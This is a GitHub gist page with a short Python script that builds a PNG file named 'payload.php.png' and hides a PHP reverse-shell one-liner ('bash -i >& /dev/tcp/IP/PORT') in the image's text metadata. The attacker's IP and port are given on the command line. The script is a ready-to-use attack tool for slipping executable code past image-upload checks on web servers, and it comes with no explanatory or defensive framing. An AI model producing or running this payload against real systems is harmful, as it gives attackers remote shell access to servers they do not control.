Last active
April 19, 2020 20:09
-
-
Save Girbons/fca2f17999a5ed45fd96a0f0f2a63bb0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
# requires pillow | |
from PIL import Image, PngImagePlugin | |
shell = """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/{}/{} 0>&1'"); ?>""" | |
def create_png_image(ip, port): | |
im = Image.new("RGB", (10, 10), "Black") | |
im.info["shell"] = shell.format(ip, port) | |
reserved = ("interlace", "gamma", "dpi", "transparency", "aspect") | |
meta = PngImagePlugin.PngInfo() | |
for k, v in im.info.items(): | |
if k in reserved: | |
continue | |
meta.add_text(k, v, 0) | |
im.save("payload.php.png", "PNG", pnginfo=meta) | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument("ip") | |
parser.add_argument("port") | |
args = parser.parse_args() | |
create_png_image(args.ip, args.port) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment